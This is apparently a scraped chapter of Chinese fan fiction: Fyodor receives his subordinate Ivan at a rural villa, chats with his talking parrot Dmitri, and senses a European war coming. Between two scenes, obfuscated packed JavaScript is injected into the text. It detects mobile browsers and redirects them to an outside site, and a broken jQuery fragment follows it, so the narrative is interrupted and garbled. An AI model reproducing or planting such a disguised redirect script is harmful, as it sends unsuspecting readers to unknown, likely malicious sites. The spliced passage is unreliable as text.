当伊万千里迢迢地从莫斯科州赶到首领所在的地区时,距离上次联系首领已经过去了一个多星期,他沿着田间小路走到尽头,前面的别墅就是首领居住的地方。
伊万·冈察洛夫,在几年前与费奥多尔相识,被后者的话术和人格魅力所折服,自此成为后者最忠实的下属,甘愿为后者效犬马之劳。
在伊万心里,费奥多尔就是他将会花费毕生时间追随的首领,他坚信费奥多尔将会为世间带来希望,因此对于费奥多尔的种种命令,他都是无条件地遵从,这次赶来阿尔泰边疆区也一样。
虽然伊万不明白首领为何要远离机会更多的莫斯科州,转而来到偏僻的边疆区域,但是既然是首领的决定,那肯定有首领的道理,作为下属,他只需要服从就可以了。
秉承着这样的想法,伊万站在环绕别墅的围栏门前,整理了一下仪表,在确认领带没有歪斜、衬衣也没有压出褶皱之后,才不轻不重地屈起手指,刚好叩了三下门。
很快,他心心念念的首领大人就来开门了。
首领的脸色还是一如既往的苍白,暗红的眼瞳就像血月一样,无情绪地瞥了伊万一眼,就让伊万下意识地屏住了呼吸,说话也结巴了起来。
“首领、大人,您吩咐的事,我已经办妥了。”伊万紧张地说道,“现在、您要见见那个家伙么?”
他说的那个家伙,就是费奥多尔让他抓住的鸟贩子,现在已经跟着他一起来到了这里。
费奥多尔没有急着拷问那个鸟贩子,而是叮嘱道,“在这里不要叫我首领。”
伊万连忙应了声,面上露出羞愧之色,身为下属,就连掩人耳目这种事情还需要首领提醒,实在是失职啊。
“进来吧。”费奥多尔这么说着,转身往房子里走去,伊万也紧随其后。
费奥多尔的话并不多,这次却难得多说了几句。
“我家里养了鸟,你等会儿进屋,声音小一点,不要惊动它。”费奥多尔略微偏过头来,平静地望着他,“它现在应该还在睡午觉。”
最重要的是,他养的鸟一旦被叫醒,就会很吵。
伊万表面点头,实际上却一头雾水,忍不住心想,“鸟?首领养鸟了吗?”
在他的印象里,鸟类通常是一种聒噪的生物,像是八哥、鹦鹉之类的宠物鸟,往往能闹得家里鸡飞狗跳。而费奥多尔怎么看都与吵闹的鸟儿不搭边。
走进屋子,眼前就是客厅,家具、布置都是很经典的俄式风格,大气又复古,到处都铺着花纹典雅的地毯,有种说不上来的华贵,而这种风格在整个俄罗斯都很常见,只要有余钱,大家都会愿意弄上一套。
伊万一开始还没找到费奥多尔所说的鸟在哪里,他扫视一圈,才发现壁炉侧边的沙发旁边有一个半人高的大鸟笼,几根或粗或细的树枝横亘其中,最顶上就是一个竹条编织而成的球形鸟窝,中间开了一个方便鸟儿进出的洞。
他多看了一眼,就注意到球形鸟窝里还藏着一只灰色的鸟儿,那只鸟背对着他,鲜红色的尾巴格外惹眼,远远看去就像一个长着红尾巴的灰色毛球。
远远望去,伊万还以为首领养的是只涂红了尾巴的灰头麻雀,因为那只鸟看起来实在是珠圆玉润,蜷缩起来睡觉的样子看起来圆滚滚的,直到对方察觉到动静,转过身来,对着费奥多尔说了一句话,他才惊觉那是一只鹦鹉。
德米特里一醒来就看见了一个陌生人,它这些天时常跟着费奥多尔一同出门,见了很多不认识的人,所以反应平平。
它的注意力全在费奥多尔身上了,见费奥多尔将正在脱外套,就伸长脖子叫了起来,“欢迎回家,欢迎回家!”
费奥多尔换了双拖鞋,闻言走过来摸了摸德米特里的鸟头,说道,“谢谢。今天你午觉醒得很早。”
“因为我听到了陌生的脚步声,就知道有客人来了。”德米特里说道。
伊万目不转睛地盯着它有条有理的样子,不禁瞠目结舌,擦了擦眼睛,仿佛在看世界第八大奇迹。
而德米特里与它的饲养人对话之后,还很有礼貌地和伊万打了声招呼,“你好,从没见过的客人。”
“你好,你好。”伊万条件反射地回答道。
德米特里接着安静了一下,过了几分钟就又开始叽叽喳喳地说起了话。
“我可以看电视吗?”它问道。
费奥多尔像是教小孩子一样,十分耐心,“可以。你想看什么电视?”
“猫和老鼠。”德米特里话很多,“因为这个,我有时候也会想着如果我们家有老鼠该有多好——杰瑞是很好的老鼠,我希望我们家有一只像杰瑞一样的好老鼠。”
“我对此表示遗憾。”费奥多尔这么说着,语气里却没有几分真心实意,“但是,我不会让老鼠这种生物出现在我们家里的,绝对不会。”
“为什么?我喜欢老鼠。”德米特里疑惑地说道。
“……老鼠是一种很能搞破坏的生物。”费奥多尔像是想到了什么,微妙地停顿了一下,“往往一只老鼠就能搞出数不清的麻烦。就算这样,你也喜欢它吗?”
“是的。”德米特里想了想,认真答道,“就算它偷吃我的坚果,又趁着我不注意吃掉了所有的蓝莓,我也可以原谅它。”
费奥多尔笑了笑,没当回事,并做下了一个决定,要在老鼠容易出没的角落多放一些老鼠药。他常常将自己比作老鼠,不代表他会容忍其他老鼠入侵他的家。
他帮德米特里打开了电视,又调到对应的动画频道,德米特里就津津有味地看起了电视,它确实很喜欢杰瑞,每次汤姆猫要抓住杰瑞的时候,都会提心吊胆地盯着电视,一副大气不敢出的样子,直到杰瑞逃出生天,它才松了口气。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16193409|181131||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
猫和老鼠动画一天只播一集,德米特里看完今天的更新,就站在了电视遥控器上面,学着费奥多尔用爪子踩了几下,结果电视却没有换台,而是直接黑屏了。
德米特里又多踩了几下,电视直接变成了雪花屏,沙沙响着,见此情形,它第一反应就是找费奥多尔来帮忙,在它的心目中,费奥多尔总能解决所有麻烦。
可是它叫了好几声,费奥多尔都没有回应,可能是有事到楼顶上去了,正巧此时有人敲门,德米特里又扯着嗓子喊了两声,还是无人应答,只有门铃声愈响愈烈。
无法之下,德米特里就抓着旁边的扶手,爬上了沙发靠背的顶端——作为攀禽,这对它来说不是什么难事。
只见德米特里使劲扑腾了几下,试图依靠翅膀的力量让自己飞起来,可是失败了,它勉强滑翔了几米,都落到了地上,只能徒步走到玄关处,抬头看向门把手,最终放弃了飞上去的想法,依靠有力的爪子,硬是抓着门框爬了上去,然后整只鸟压在门把手上,试图像费奥多尔平时开门那样把门打开。
结果因为重量不够,德米特里反复蹦跶了好几下,都没能按下门把手,反而自己差点摔下去,好在爪子结构足够适合攀爬,像只猫头鹰似的倒吊在门把手上面,摇摇晃晃了半天,又站了上来。
费奥多尔听到动静赶来的时候,看到的就是德米特里站在门把手上望着他,用眼神催促他开门。
“……”他过去开了门,就正巧对上了门外聂赫留朵夫灰色的眼睛。可能是因为按门铃许久都无人回应,聂赫留朵夫转身准备走了,听到细微的脚步声才转过头来。
“您好,”聂赫留朵夫说着,将手里的果篮递了过来,“我母亲让我送一些水果过来,她还让我捎句话,最近有一伙歹徒流落到附近了,您最好少出门。”
自从德米特里用甜言蜜语俘获玛利亚太太的心之后,聂赫留朵夫就成了常客,经常能看到他板着一张不情不愿的脸,被母亲差遣着过来送东西。
德米特里在后面探头探脑,费奥多尔客气地道了声谢,聂赫留朵夫也回了句不用谢,临走前指着围栏没关严的门,提醒道,“您的门没关。”然后就离开了。
费奥多尔若有所思地看着对方的背影,“感觉近来都不太平啊。”
他每天都会收看莫斯科的官方新闻,也会通过网络查找欧洲其他国家的报纸来搜寻情报,尽管官方的报道对一些混乱的事情总是不会说得太清楚,只提到了外国间谍、与某国关系紧张、某地治安不佳导致强盗横行之类的老生常谈,他也能从细枝末节上嗅到几分风雨欲来的味道。
几天后,他就从隐秘的渠道得知,英法冲突加剧,双方海军在英吉利海峡集结,随时可能爆发战争,而欧洲其他国家也因为各种摩擦而关系恶化,冲突一触即发。
所有的情报都在告诉他一个事实——要打仗了。